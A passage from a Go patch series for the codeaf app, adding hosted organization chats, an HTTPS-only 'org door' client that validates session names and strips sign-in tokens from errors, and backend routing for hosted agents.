withManualCorpusFeature(hello, engine) @@ -425,7 +426,11 @@ func (s *Server) handle(ctx context.Context, line []byte, engine Engine, infligh inflight.Add(1) go func() { defer inflight.Done() - result, err := method.call(engine, params) + var result any + err := hostedActionRefusal(engine, req.Method, params) + if err == nil { + result, err = method.call(engine, params) + } if ctx.Err() != nil && err != nil { err = Errorf(CodeClosed, "codeaf is shutting down") } @@ -472,7 +477,11 @@ var methods = map[string]method{ if p.BudgetUSD != nil && *p.BudgetUSD < 0 { return nil, Errorf(CodeBadParams, "budget_usd cannot be negative") } - if err := CheckAttachSources(p.Attachments); err != nil { + if p.Org != "" { + if _, ok := e.(HostedChats); !ok { + return nil, Errorf(CodeUnknownMethod, "this engine does not serve organization chats") + } + } else if err := CheckAttachSources(p.Attachments); err != nil { return nil, err } if p.Effort != "" { diff --git a/internal/appwire/wire.go b/internal/appwire/wire.go index a027c44a0c..96d114970e 100644 --- a/internal/appwire/wire.go +++ b/internal/appwire/wire.go @@ -180,6 +180,7 @@ type Hello struct { // the first century; the emptiness law says // an unknown draws nothing, so UpdatedAt and LastActiveAt carry omitzero. type Agent struct { + Hosted *HostedFacts `json:"hosted,omitempty"` Location *Location `json:"location,omitempty"` ModelIdentity *session.ModelIdentity `json:"model_identity,omitempty"` // Retryable means this backend retained the failed message for agents.retry. @@ -1183,6 +1184,7 @@ type ProviderConnector interface { // // It answers at once: the conversation is assembled behind the answer. type CreateAsk struct { + Org string `json:"org,omitempty"` Models *session.ConversationModels `json:"models,omitempty"` AutomaticModels *bool `json:"automatic_models,omitempty"` Workspace string `json:"workspace"` From 2849458dae1fb7fd857d8e6e1c5dfa5838379e6f Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 17:07:14 -0500 Subject: [PATCH 091/176] chat --org: build the organization door from an address and a held sign-in, and keep the status of a refusal Co-Authored-By: Claude Sonnet 5.5 --- cmd/codeaf/chatv3_org.go | 71 +++++++++++++++++++++++++--------------- 1 file changed, 45 insertions(+), 26 deletions(-) diff --git a/cmd/codeaf/chatv3_org.go b/cmd/codeaf/chatv3_org.go index 09eebb01dd..b123098ead 100644 --- a/cmd/codeaf/chatv3_org.go +++ b/cmd/codeaf/chatv3_org.go @@ -45,16 +45,17 @@ import ( "errors" "fmt" "io" + "net" "net/http" "net/url" "os" - "regexp" "strconv" "strings" "time" "github.com/coder/websocket" + "github.com/Agent-Field/codeaf/internal/appwire" "github.com/Agent-Field/codeaf/internal/env" "github.com/Agent-Field/codeaf/internal/remote" "github.com/Agent-Field/codeaf/internal/tui3" @@ -75,9 +76,7 @@ const orgCallWithin = 15 * time.Second // NetConn resets the limit to unlimited when it is made, so it is set after. const orgReadLimit = 4 << 20 -// orgSessionID is the shape of a hosted chat's name. A name the server sends -// back that is not this shape is never put in a path. -var orgSessionID = regexp.MustCompile(`^hs_[0-9a-f]{24}$`) +const orgSessionsPath = "/v1/hosted/sessions" // orgLaunch is one `--org` launch as the flag parser saw it. It has the shape // of [atLaunch], because it is the same launch down a different pipe, plus the @@ -188,20 +187,26 @@ func newOrgDoor(target string, say func(string)) (*orgDoor, error) { if strings.HasPrefix(base, "http://") && !factoryLoopback(base) { return nil, fmt.Errorf("use https:// for %s: a sign-in must not cross a network in the clear", orgHostName(base)) } - d := &orgDoor{base: base, host: orgHostName(base), say: say} - d.http = &http.Client{ - Timeout: orgCallWithin, - Transport: &http.Transport{Proxy: nil}, - CheckRedirect: func(*http.Request, []*http.Request) error { return http.ErrUseLastResponse }, - } token, ok := orgToken(base) + d := orgDoorWith(base, token, say) if !ok { return nil, d.signInSentence() } - d.token = token return d, nil } +// orgDoorWith takes an already checked origin and a sign-in held by the caller. +func orgDoorWith(base, token string, say func(string)) *orgDoor { + return &orgDoor{ + base: base, host: orgHostName(base), token: token, say: say, + http: &http.Client{ + Timeout: orgCallWithin, + Transport: &http.Transport{Proxy: nil}, + CheckRedirect: func(*http.Request, []*http.Request) error { return http.ErrUseLastResponse }, + }, + } +} + // signInSentence is what a person is told when the server has no sign-in of // theirs to go on, or did not accept the one it was given. func (d *orgDoor) signInSentence() error { @@ -265,19 +270,33 @@ func (d *orgDoor) refusal(status int, body []byte) error { var said struct { Error string `json:"error"` } + var words string + var serverSaid bool if json.Unmarshal(body, &said) == nil { - if sentence := d.clean(said.Error); sentence != "" { - return errors.New(sentence) + serverSaid = strings.TrimSpace(said.Error) != "" + words = d.clean(said.Error) + } + if words == "" { + if status == http.StatusUnauthorized || status == http.StatusForbidden { + words = d.signInSentence().Error() + } else { + words = fmt.Sprintf("%s could not answer (status %d).", d.host, status) } } - if status == http.StatusUnauthorized || status == http.StatusForbidden { - return d.signInSentence() - } - return fmt.Errorf("%s could not answer (status %d).", d.host, status) + return &orgDoorError{status: status, words: words, serverSaid: serverSaid} +} + +// orgDoorError keeps the HTTP outcome for callers that also need a wire code. +type orgDoorError struct { + status int + words string + serverSaid bool } +func (e *orgDoorError) Error() string { return e.words } + func (d *orgDoor) unreachable() error { - return fmt.Errorf("%s is unreachable.", d.host) + return &orgDoorError{words: fmt.Sprintf("%s is unreachable.", d.host)} } // call makes one request to the server and decodes a success into out. @@ -347,7 +366,7 @@ func latestOrgSession(rows []orgSession) (orgSession, bool) { var best orgSession found := false for _, row := range rows { - if !orgSessionID.MatchString(row.ID) { + if !appwire.ValidHostedSessionID(row.ID) { continue } switch { @@ -365,7 +384,7 @@ func latestOrgSession(rows []orgSession) (orgSession, bool) { // the server attaches is shown once, here, before the surface exists. func (d *orgDoor) pick(ctx context.Context, want string) (string, error) { if want = strings.TrimSpace(want); want != "" { - if !orgSessionID.MatchString(want) { + if !appwire.ValidHostedSessionID(want) { return "", fmt.Errorf("%q is not the name of a chat on %s; the names look like hs_ followed by 24 letters and digits", want, d.host) } return want, nil @@ -373,7 +392,7 @@ func (d *orgDoor) pick(ctx context.Context, want string) (string, error) { var listed struct { Sessions []orgSession `json:"sessions"` } - if err := d.call(ctx, http.MethodGet, "/v1/hosted/sessions", &listed); err != nil { + if err := d.call(ctx, http.MethodGet, orgSessionsPath, &listed); err != nil { return "", err } if row, ok := latestOrgSession(listed.Sessions); ok { @@ -381,10 +400,10 @@ func (d *orgDoor) pick(ctx context.Context, want string) (string, error) { return row.ID, nil } var made orgSession - if err := d.call(ctx, http.MethodPost, "/v1/hosted/sessions", &made); err != nil { + if err := d.call(ctx, http.MethodPost, orgSessionsPath, &made); err != nil { return "", err } - if !orgSessionID.MatchString(made.ID) { + if !appwire.ValidHostedSessionID(made.ID) { return "", fmt.Errorf("%s sent back something this program cannot use.", d.host) } d.warn(made.Warning) @@ -403,8 +422,8 @@ func (d *orgDoor) warn(sentence string) { // THE BEARER IS A HEADER ON THE UPGRADE REQUEST AND NOWHERE ELSE. The handshake // is bounded by [orgCallWithin], but the connection itself outlives it: it ends // when its owner closes it, so it is made on a context of its own. -func (d *orgDoor) open(ctx context.Context, id string) (io.ReadWriteCloser, error) { - if !orgSessionID.MatchString(id) { +func (d *orgDoor) open(ctx context.Context, id string) (net.Conn, error) { + if !appwire.ValidHostedSessionID(id) { return nil, fmt.Errorf("%q is not the name of a chat on %s", id, d.host) } address, err := url.Parse(d.base) @@ -416,7 +435,7 @@ func (d *orgDoor) open(ctx context.Context, id string) (io.ReadWriteCloser, erro } else { address.Scheme = "ws" } - address.Path = "/v1/hosted/sessions/" + id + "/wire" + address.Path = orgSessionsPath + "/" + id + "/wire" header := http.Header{} d.authorize(header) handshake, cancel := context.WithTimeout(ctx, orgCallWithin) From ea4a3fcce29eda88be5625269f628b04187020e3 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 17:07:14 -0500 Subject: [PATCH 092/176] app: open, list, drive and close hosted chats on an organization's server Co-Authored-By: Claude Sonnet 5.5 --- cmd/codeaf/app.go | 212 +++++++++---- cmd/codeaf/appconvo.go | 11 + cmd/codeaf/appfooters.go | 3 + cmd/codeaf/apphosted.go | 576 +++++++++++++++++++++++++++++++++++ cmd/codeaf/apphosted_test.go | 543 +++++++++++++++++++++++++++++++++ cmd/codeaf/appsecret.go | 3 + cmd/codeaf/apptitles.go | 6 + cmd/codeaf/appwakes.go | 8 +- 8 files changed, 1303 insertions(+), 59 deletions(-) create mode 100644 cmd/codeaf/apphosted.go create mode 100644 cmd/codeaf/apphosted_test.go diff --git a/cmd/codeaf/app.go b/cmd/codeaf/app.go index 45ab00baab..45ee90f09d 100644 --- a/cmd/codeaf/app.go +++ b/cmd/codeaf/app.go @@ -314,6 +314,7 @@ type appConversation interface { // new one in a workspace. Minted is a folder this process minted a moment ago // for agents.create: nobody else can be holding it, so it is never joined. type appOpenAsk struct { + Hosted *appHostedOpen IntentSiblingNames func() []string Models *session.ConversationModels AutomaticModels *bool @@ -334,6 +335,7 @@ type appOpenAsk struct { // appConn is an opened conversation and the one way to give it back. type appConn struct { + hosted *appHostedLink Note string Interrupted []string // UserMessages comes from the opener's replay, including compacted history. @@ -372,13 +374,17 @@ const appHostDialTimeout = 500 * time.Millisecond // appHostJoinWait is one budget for discovering and joining an existing host. var appHostJoinWait = 5 * time.Second +func appLaunchShape(ask appOpenAsk) *remote.LaunchShape { + clock := ask.ClockS + return &remote.LaunchShape{TeamListeningSince: ask.TeamListeningSince, Interactive: true, IntentNames: true, HandOverOnAsk: true, ProposalClockS: &clock, ChoiceClockS: clock, QuitGraceS: appQuitGraceS, LiveToolOutput: true, StandingOrders: true, QuickTasks: true} +} + // appOpenInProcess opens a conversation for the app. A saved conversation that // a window's host already holds is JOINED there, as a second view of the same // conversation, because opening it here as well would be a second writer on its // journal. Everything else is built in this process. func appOpenInProcess(ask appOpenAsk) (*appConn, error) { - clock := ask.ClockS - launch := &remote.LaunchShape{TeamListeningSince: ask.TeamListeningSince, Interactive: true, IntentNames: true, HandOverOnAsk: true, ProposalClockS: &clock, ChoiceClockS: clock, QuitGraceS: appQuitGraceS, LiveToolOutput: true, StandingOrders: true, QuickTasks: true} + launch := appLaunchShape(ask) if conn, err := appJoinExisting(ask, launch); conn != nil || err != nil { if err == nil { err = enableAppConversationModels(conn.Conv) @@ -597,6 +603,9 @@ func appConnOf(client *remote.Client, release func(), assembled bool) *appConn { // appBackend is the [appwire.Engine] over this process's conversations. type appBackend struct { + // Hosted views go straight to the wire and stay out of local inventory. + hostedAgents map[string]*appAgent + hostedEmit appwire.Emitter clientTools appClientTools libraryWatch sync.Once libraryInboxMu sync.Mutex @@ -837,6 +846,7 @@ type appBackend struct { // appAgent is every agent this process has heard of: listed off the disk, // created or opened. live is nil while no conversation is held for it. type appAgent struct { + hosted *appHostedRef // syncGate keeps startup facts ahead of later live drive notices. syncGate sync.Mutex syncOutage bool // guarded by syncGate @@ -1127,14 +1137,20 @@ func newAppBackend(emit appwire.Emitter, open appOpener) *appBackend { keys = config.NewAppCredentials() } b := &appBackend{ - keys: keys, - state: &appState{}, - chats: appChats{publicationWake: make(chan struct{}, 1)}, - turnLong: appTurnLong, - toolQuiet: appToolQuiet, - follows: map[string]*appFollow{}, - open: open, - now: time.Now, + keys: keys, + state: &appState{}, + chats: appChats{publicationWake: make(chan struct{}, 1)}, + turnLong: appTurnLong, + toolQuiet: appToolQuiet, + follows: map[string]*appFollow{}, + hostedEmit: emit, + open: func(ask appOpenAsk) (*appConn, error) { + if ask.Hosted != nil { + return ask.Hosted.dial(ask) + } + return open(ask) + }, + now: time.Now, after: func(d time.Duration, fn func()) func() { t := time.AfterFunc(d, fn) return func() { t.Stop() } @@ -1315,6 +1331,13 @@ func (b *appBackend) rememberRowLocked(a *appAgent, row session.SessionRow, loca // find answers the agent for id, reading the disk for one this process has not // heard of yet. func (b *appBackend) find(id string) (*appAgent, error) { + if session, org, ok := appwire.ParseHostedAgentID(id); ok { + return b.findHosted(id, appHostedRef{org: org, session: session}) + } + return b.findLocal(id) +} + +func (b *appBackend) findLocal(id string) (*appAgent, error) { var a *appAgent held := false b.locked(func() { @@ -1473,6 +1496,9 @@ func (b *appBackend) listedView(row session.SessionRow, stale time.Time) appwire // agent is named by them. A conversation that cannot be opened says so as a // failed turn and a stopped agent. func (b *appBackend) CreateAgent(ask appwire.CreateAsk) (appwire.Agent, error) { + if ask.Org != "" { + return b.createHostedAgent(ask) + } prep, err := b.prepareCreate(ask) if err != nil { return appwire.Agent{}, err @@ -1830,6 +1856,9 @@ func appSendUnsure(err error) bool { // OpenAgent attaches a conversation to a saved agent and answers it. func (b *appBackend) OpenAgent(id string) (appwire.Agent, error) { + if _, _, hosted := appwire.ParseHostedAgentID(id); hosted { + return b.openHostedAgent(id, false) + } // Only a row already read for this paired identity can enable automatic // pull. Ordinary local opens and single-device homes add no relay request. if b.idleHandoffEnabled() { @@ -1868,7 +1897,10 @@ func (c *appChats) rowFor(id string) (appwire.ChatRow, bool) { func (b *appBackend) WarmAgent(id string) (appwire.Agent, error) { return b.openAgent(id, true) } func (b *appBackend) openAgent(id string, warm bool) (appwire.Agent, error) { - a, err := b.find(id) + if _, _, hosted := appwire.ParseHostedAgentID(id); hosted { + return b.openHostedAgent(id, warm) + } + a, err := b.findLocal(id) if err != nil { return appwire.Agent{}, err } @@ -1915,6 +1947,9 @@ func (b *appBackend) ensure(a *appAgent) (appwire.Agent, bool, error) { // ensureLocked is [appBackend.ensure] for a caller already holding a.gate. func (b *appBackend) ensureLocked(a *appAgent) (appwire.Agent, bool, error) { + if a.hosted != nil { + return appwire.Agent{}, false, b.RefuseHostedAction(a.hosted.org) + } // Opening includes initialization after b.open returns. Readers must not // queue on the gate in the gap before the live owner is ready. defer b.locked(func() { @@ -2040,13 +2075,9 @@ func (b *appBackend) ensureLocked(a *appAgent) (appwire.Agent, bool, error) { return b.hold(a, conn, workspace), true, nil } -// hold makes conn the agent's live conversation. Callers hold a.gate. -func (b *appBackend) hold(a *appAgent, conn *appConn, workspace string) appwire.Agent { - if conn.Assembled { - b.markAssembled() - } - live := &appLive{ - conn: conn, box: appwire.NewOutbox(b.emit), lastUse: b.now(), +func (b *appBackend) newLive(conn *appConn, emit appwire.Emitter) *appLive { + return &appLive{ + conn: conn, box: appwire.NewOutbox(emit), lastUse: b.now(), tasks: map[string]appwire.Task{}, lanesDone: make(chan struct{}), asksDone: make(chan struct{}), questions: map[string]session.Question{}, answered: map[string]string{}, consents: map[uint64]appConsentCall{}, money: map[string]appMoneyAsk{}, @@ -2054,6 +2085,14 @@ func (b *appBackend) hold(a *appAgent, conn *appConn, workspace string) appwire. processes: map[string]appwire.Process{}, logs: map[string]string{}, said: map[string]string{}, calls: map[string]string{}, pilots: map[string]func(){}, } +} + +// hold makes conn the agent's live conversation. Callers hold a.gate. +func (b *appBackend) hold(a *appAgent, conn *appConn, workspace string) appwire.Agent { + if conn.Assembled { + b.markAssembled() + } + live := b.newLive(conn, b.emit) replayTranscript := conn.Transcript if replayTranscript == "" { b.locked(func() { replayTranscript = a.transcript }) @@ -2543,6 +2582,9 @@ func (b *appBackend) liveOf(a *appAgent) *appLive { // in its turn was made in no crew. Words the app writes itself go through // [appBackend.send] with nothing stated, and stay unknown. func (b *appBackend) Send(id, text, clientID string) (uint64, error) { + if _, _, hosted := appwire.ParseHostedAgentID(id); hosted { + return b.sendHosted(id, appwire.AgentMessage{Text: text, ClientID: clientID}) + } b.resetCloseResumes(id) return b.send(id, text, clientID, appStated(text, appNoTeam())) } @@ -2664,8 +2706,10 @@ func (b *appBackend) startLocked(a *appAgent, text, clientID string, shown *appS type appTurnStarter func(*appLive, string) (<-chan session.Event, error) func (b *appBackend) startTurnLocked(a *appAgent, text, clientID string, shown *appSending, start appTurnStarter) (uint64, error) { - if err := b.workAllowed(a); err != nil { - return 0, err + if a.hosted == nil { + if err := b.workAllowed(a); err != nil { + return 0, err + } } var id string var live *appLive @@ -2737,29 +2781,31 @@ func (b *appBackend) startTurnLocked(a *appAgent, text, clientID string, shown * } // THE DAY CAP IS CHECKED BEFORE THE ENGINE HEARS OF THE TURN: a refused // turn sends nothing and costs nothing, and its words wait for a raise. - now := b.now() - // A LIMIT NOBODY CAN READ REFUSES THE TURN: not the default, not none. - limit, limitErr := b.dayCap(now) - if limitErr != nil { - return 0, appEngineError(limitErr) - } - if limit > 0 { - spent, err := b.spentTodayChecked(now) - if err != nil { - return 0, appEngineError(err) - } - if spent >= limit { - if err := b.knownWorkRefusal(a); err != nil { - return 0, err + if a.hosted == nil { + now := b.now() + // A LIMIT NOBODY CAN READ REFUSES THE TURN: not the default, not none. + limit, limitErr := b.dayCap(now) + if limitErr != nil { + return 0, appEngineError(limitErr) + } + if limit > 0 { + spent, err := b.spentTodayChecked(now) + if err != nil { + return 0, appEngineError(err) + } + if spent >= limit { + if err := b.knownWorkRefusal(a); err != nil { + return 0, err + } + turn := b.dayRefused(a, live, text, clientID, spent, limit) + b.locked(func() { a.failedShown = shown }) + return turn, nil } - turn := b.dayRefused(a, live, text, clientID, spent, limit) - b.locked(func() { a.failedShown = shown }) - return turn, nil } - } - // The agent's budget is bound again, so a raise for today ends at midnight. - if err := b.bindBudgetConn(id, live.conn); err != nil { - return 0, appEngineError(err) + // The agent's budget is bound again, so a raise for today ends at midnight. + if err := b.bindBudgetConn(id, live.conn); err != nil { + return 0, appEngineError(err) + } } var turn uint64 var n int @@ -2825,10 +2871,13 @@ func (b *appBackend) startTurnLocked(a *appAgent, text, clientID string, shown * refusedWork := errors.As(err, &workRefusal) b.locked(func() { live.running = false - if start != nil || refusedWork { + if start != nil || refusedWork || live.conn.hosted != nil { delete(a.marks, n) } }) + if live.conn.hosted != nil { + return 0, live.conn.hosted.wireError(err) + } if start != nil || refusedWork { return 0, appEngineError(err) } @@ -2875,10 +2924,14 @@ func (b *appBackend) startTurnLocked(a *appAgent, text, clientID string, shown * defer long.Stop() defer tails() b.pump(a, id, live, turn, n, text, shown, events) - b.sendQueued(a, live) + if a.hosted == nil { + b.sendQueued(a, live) + } }) - if err := b.touchJobConversation(a.transcript); err != nil { - return turn, &appUnsureSend{err: appEngineError(err)} + if a.hosted == nil { + if err := b.touchJobConversation(a.transcript); err != nil { + return turn, &appUnsureSend{err: appEngineError(err)} + } } return turn, nil } @@ -2918,7 +2971,10 @@ func (b *appBackend) pump(a *appAgent, id string, live *appLive, turn uint64, n defer func() { b.locked(func() { live.lastN, live.lastMsgs, live.lastNotices = n, msg, notices }) }() - turnKey := b.openRouterTurnKey(live.conn.Conv.Model()) + var turnKey string + if a.hosted == nil { + turnKey = b.openRouterTurnKey(live.conn.Conv.Model()) + } var reply strings.Builder // replyRun is the run that streamed the reply so far, or empty once two // runs have streamed into it. @@ -2990,7 +3046,9 @@ func (b *appBackend) pump(a *appAgent, id string, live *appLive, turn uint64, n } } case session.EventCloseContinued: - b.closeWakeStarted(id, live, event.Text) + if a.hosted == nil { + b.closeWakeStarted(id, live, event.Text) + } case session.EventTextDelta: if reply.Len() == 0 { replyRun = event.RunID @@ -3063,7 +3121,9 @@ func (b *appBackend) pump(a *appAgent, id string, live *appLive, turn uint64, n sayReply(appwire.EntryUpdate) title := redact.Secrets(tui3.ToolTitle(event.Tool, event.Args, event.Hint)) titles[event.CallID] = title - b.stepMoved(a, live, title) + if a.hosted == nil { + b.stepMoved(a, live, title) + } row := b.callBegan(a, id, turn, event, title) row.Summary = event.Hint live.sayTool(row) @@ -3142,9 +3202,13 @@ func (b *appBackend) pump(a *appAgent, id string, live *appLive, turn uint64, n case session.EventError: ok = false kind, status, failure = appTurnFailure(event) - keyFailure, _ := provider.RouteFailureOf(&provider.APIError{Status: status}) - if keyFailure == provider.RouteAuth { - b.keyHealth.invalid(turnKey) + if a.hosted == nil { + keyFailure, _ := provider.RouteFailureOf(&provider.APIError{Status: status}) + if keyFailure == provider.RouteAuth { + b.keyHealth.invalid(turnKey) + } + } else if strings.Contains(failure, live.conn.hosted.door.token) { + failure = live.conn.hosted.door.clean(failure) } retryable = !provider.ReasoningUnsupported(status, failure) case session.EventTurnDone: @@ -3181,7 +3245,7 @@ func (b *appBackend) pump(a *appAgent, id string, live *appLive, turn uint64, n } a.failed, a.failedKind, a.failedShown, a.failedClient = "", "", nil, "" a.view.Retryable = false - if !ok && retryable { + if !ok && retryable && a.hosted == nil { a.failed, a.failedKind, a.failedShown = text, kind, shown a.view.Retryable = text != "" } @@ -3211,7 +3275,7 @@ func (b *appBackend) pump(a *appAgent, id string, live *appLive, turn uint64, n _ = b.keepAppFailure(a, errEntry, keptWords) entry(errEntry) } - if ok { + if ok && a.hosted == nil { b.resetCloseAfterReply(id) } live.box.Event(appwire.EventTurnDone, appwire.TurnDone{Agent: id, Turn: turn, OK: ok, Error: failure, ErrorKind: kind, Status: status}) @@ -3232,7 +3296,9 @@ func (b *appBackend) pump(a *appAgent, id string, live *appLive, turn uint64, n if held { live.box.Event(appwire.EventAgentChanged, appwire.AgentChanged{Agent: view}) } - b.spendMoved(func(spend appwire.Spend) { b.moneyAfter(a, live, spend.TodayUSD) }) + if a.hosted == nil { + b.spendMoved(func(spend appwire.Spend) { b.moneyAfter(a, live, spend.TodayUSD) }) + } } // ── entry ids ─────────────────────────────────────────────────────────────── @@ -3426,6 +3492,9 @@ func appTaskState(state string) string { // workEvent is one task, phase or process event, from the turn's stream or // the task lane: both carry the same news and each change is said once. func (b *appBackend) workEvent(id string, live *appLive, event session.Event) { + if live.conn.hosted != nil { + return + } switch event.Kind { case session.EventTakeover, session.EventMoved: b.windowMoved(id, live, event.Kind == session.EventTakeover, event.Text) @@ -3462,6 +3531,9 @@ func (b *appBackend) workEvent(id string, live *appLive, event session.Event) { // started, or is interrupted the moment it is ([appBackend.bootSettle]). No // stop waits on the gate an open holds. func (b *appBackend) Stop(id string) error { + if _, _, hosted := appwire.ParseHostedAgentID(id); hosted { + return b.stopHosted(id) + } a, endRead, err := b.findCrewOwner(id) if err != nil { return err @@ -3509,6 +3581,13 @@ func (b *appBackend) CloseAgent(id string) error { if err != nil { return err } + if a.hosted != nil { + a.gate.Lock() + defer a.gate.Unlock() + view := b.closeAgentLocked(a) + b.hostedEmit.Emit(appwire.EventAgentChanged, appwire.AgentChanged{Agent: view}) + return nil + } // CLOSING AN AGENT STOPS WHAT IT KEPT RUNNING, and waits for it to be // gone; letting it go idle does not. A process that would not stop leaves // the agent open, its process listed and the error saying which. @@ -3561,7 +3640,9 @@ func (b *appBackend) release(a *appAgent) { return } b.finish(live) - b.forgetAsksOf(id, live) + if a.hosted == nil { + b.forgetAsksOf(id, live) + } } func (b *appBackend) releaseIdle(a *appAgent) bool { @@ -3630,6 +3711,9 @@ func (b *appBackend) finish(live *appLive) { // ListAsks answers the agent's open asks. An agent with no conversation held // has none this process can answer. func (b *appBackend) ListAsks(id string) ([]appwire.Ask, error) { + if _, _, hosted := appwire.ParseHostedAgentID(id); hosted { + return b.listHostedAsks(id) + } // A member at rest has no question a held conversation would add: one // waiting on the person says so in its presence and is not at rest. a, endRead, err := b.findCrewReader(id) @@ -3671,6 +3755,9 @@ func (b *appBackend) answerAskScope(id, askID, option, text, scope string) error // app's UI2_WIRE_LOG). Refused here, every ordinary door refuses them at once: // asks.answer, its scoped and batched forms, and anything added beside them. func (b *appBackend) answerAskThrough(id, askID, option, text, scope string, secretDoor bool) error { + if _, _, hosted := appwire.ParseHostedAgentID(id); hosted { + return b.answerHostedAsk(id, askID, option, text, scope, secretDoor) + } b.resetCloseResumes(id) if handled, err := b.answerOrderAsk(askID, option); handled { return err @@ -3846,6 +3933,9 @@ func (b *appBackend) EntriesWithFallback(id, before string, limit int) (appwire. if err != nil { return appwire.EntriesResult{}, err } + if a.hosted != nil { + return b.hostedEntries(a, before, limit) + } page, more, head, remoteErr := b.remoteEntries(a, before, limit) if head != "" { return appwire.EntriesResult{Entries: page, More: more, RemoteHead: head}, nil @@ -4866,7 +4956,7 @@ func (b *appBackend) Close() error { already := false var waitClosed chan struct{} var crews *appCrewRun - var agents []*appAgent + var agents, hosted []*appAgent var warmed chan struct{} var balances *appBalances var stopModelNotices func() @@ -4908,6 +4998,9 @@ func (b *appBackend) Close() error { for _, a := range b.agents { agents = append(agents, a) } + for _, a := range b.hostedAgents { + hosted = append(hosted, a) + } }) if already { <-waitClosed @@ -5007,6 +5100,13 @@ func (b *appBackend) Close() error { b.letGoTimed(a, os.Stderr) }) } + for _, a := range hosted { + wg.Add(1) + guard.Go("app/hosted close", func() { + defer wg.Done() + b.letGo(a) + }) + } wg.Wait() lap("conversations") // An unfinished crew open owns its gate but has no held conversation to diff --git a/cmd/codeaf/appconvo.go b/cmd/codeaf/appconvo.go index 46664229e0..d75ad40c38 100644 --- a/cmd/codeaf/appconvo.go +++ b/cmd/codeaf/appconvo.go @@ -693,6 +693,13 @@ func (b *appBackend) restateBatch(live *appLive, q session.Question) { // them, one call of a batch or all of them, putting it aside for later, or // handing the choice back to the agent's own suggestion. func (b *appBackend) AnswerAskWith(agent, id string, answer appwire.AskAnswer) error { + if _, org, hosted := appwire.ParseHostedAgentID(agent); hosted { + if answer.Later || answer.BatchItem != "" || answer.YouDecide { + return b.RefuseHostedAction(org) + } + words := strings.TrimSpace(strings.TrimSpace(answer.Text) + "\n" + strings.TrimSpace(answer.Why)) + return b.answerHostedAsk(agent, id, answer.Option, words, answer.Scope, false) + } b.resetCloseResumes(agent) if handled, err := b.answerOrderAsk(id, answer.Option); handled { return err @@ -1438,6 +1445,10 @@ func (b *appBackend) sendMessage(agent string, message appwire.AgentMessage) (ui // sendMessageFor is [appBackend.sendMessage] stating creation, the context the // accepting door knows, on the submission it builds. It is never inferred. func (b *appBackend) sendMessageFor(agent string, message appwire.AgentMessage, creation *session.CreationContext) (uint64, *appSending, error) { + if _, _, hosted := appwire.ParseHostedAgentID(agent); hosted { + turn, err := b.sendHosted(agent, message) + return turn, nil, err + } b.resetCloseResumes(agent) ids := message.Attachments if err := appwire.CheckAttachIDs(ids); err != nil { diff --git a/cmd/codeaf/appfooters.go b/cmd/codeaf/appfooters.go index d1d127f931..8734ca3ece 100644 --- a/cmd/codeaf/appfooters.go +++ b/cmd/codeaf/appfooters.go @@ -107,6 +107,9 @@ func (b *appBackend) keepAppFailure(a *appAgent, entry appwire.Entry, words stri } func (b *appBackend) keepAppEntriesWith(a *appAgent, entries []appwire.Entry, afterCall, retry string) error { + if a.hosted != nil { + return nil + } var transcript, id string b.locked(func() { transcript, id = a.transcript, a.view.ID }) b.footerMu.Lock() diff --git a/cmd/codeaf/apphosted.go b/cmd/codeaf/apphosted.go new file mode 100644 index 0000000000..f577e28845 --- /dev/null +++ b/cmd/codeaf/apphosted.go @@ -0,0 +1,576 @@ +package main + +import ( + "context" + "encoding/json" + "errors" + "net/http" + "slices" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/appwire" + "github.com/Agent-Field/codeaf/internal/factory/acl" + "github.com/Agent-Field/codeaf/internal/guard" + "github.com/Agent-Field/codeaf/internal/remote" + "github.com/Agent-Field/codeaf/internal/session" +) + +type appHostedRef struct { + org, session string +} + +type appHostedOpen struct { + ref appHostedRef + door *orgDoor +} + +type appHostedLink struct { + door *orgDoor + client *remote.Client +} + +type appHostedRow struct { + orgSession + Owner string `json:"owner"` + Role string `json:"role"` + Access string `json:"access"` +} + +var appHostedRoles = acl.DefaultPolicy().Roles + +func (o appHostedOpen) dial(ask appOpenAsk) (*appConn, error) { + socket, err := o.door.open(context.Background(), o.ref.session) + if err != nil { + return nil, appHostedDoorError(o.door, err) + } + // The HTTP upgrade and the conversation hello each need an end to their wait. + _ = socket.SetDeadline(time.Now().Add(orgCallWithin)) + hello := remote.Hello{Launch: appLaunchShape(ask), Window: true} + client, err := remote.Dial(socket, o.door.host, hello) + if err != nil { + _ = socket.Close() + if words, refused := remote.RefusalSentence(err); refused { + return nil, appHostedWords(appwire.CodeConflict, o.door, words) + } + return nil, appHostedDoorError(o.door, o.door.unreachable()) + } + _ = socket.SetDeadline(time.Time{}) + conn := appConnOf(client, func() { _ = client.Close() }, false) + // Paths in the welcome name the server's disk. The app must never open them. + conn.Workspace, conn.Transcript = "", "" + conn.hosted = &appHostedLink{door: o.door, client: client} + return conn, nil +} + +func (b *appBackend) hostedDoor(ctx context.Context, org string) (*orgDoor, error) { + hub := b.factoryHub() + if hub == nil { + return nil, appwire.Errorf(appwire.CodeClosed, "codeaf is shutting down") + } + row, held, err := hub.lookup(org) + if err != nil { + return nil, appwire.Errorf(appwire.CodeBadParams, "There is no such organization connection.") + } + host := orgHostName(row.URL) + if held == "" { + return nil, appHostedSignIn(host) + } + // A hosted call must never start a local factory to obtain credentials. + ctx = context.WithValue(ctx, appFactoryPassiveRead{}, true) + row, token, err := hub.credentialed(ctx, org) + if err != nil || token == "" { + return nil, appHostedSignIn(host) + } + base, err := factoryURL(row.URL) + if err != nil || (strings.HasPrefix(base, "http://") && !factoryLoopback(base)) { + return nil, appwire.Errorf(appwire.CodeBadParams, "Use https:// for %s.", host) + } + return orgDoorWith(base, token, nil), nil +} + +func appHostedSignIn(host string) error { + return appwire.Errorf(appwire.CodeSignedOut, "Sign in to %s first.", host) +} + +func appHostedWords(code string, door *orgDoor, text string) error { + // Preserve the server's sentence when it carries no sign-in. + if strings.Contains(text, door.token) { + text = door.clean(text) + } + if text == "" { + text = door.host + " could not answer." + } + return appwire.Errorf(code, "%s", text) +} + +func appHostedDoorError(door *orgDoor, err error) error { + var call *orgDoorError + if errors.As(err, &call) { + switch call.status { + case 0: + return appHostedWords(appwire.CodeUnreachable, door, call.words) + case http.StatusUnauthorized, http.StatusForbidden: + return appHostedSignIn(door.host) + case http.StatusBadRequest: + return appHostedWords(appwire.CodeBadParams, door, call.words) + } + } + return appHostedWords(appwire.CodeConflict, door, err.Error()) +} + +func (link *appHostedLink) wireError(err error) error { + if err == nil { + return nil + } + if 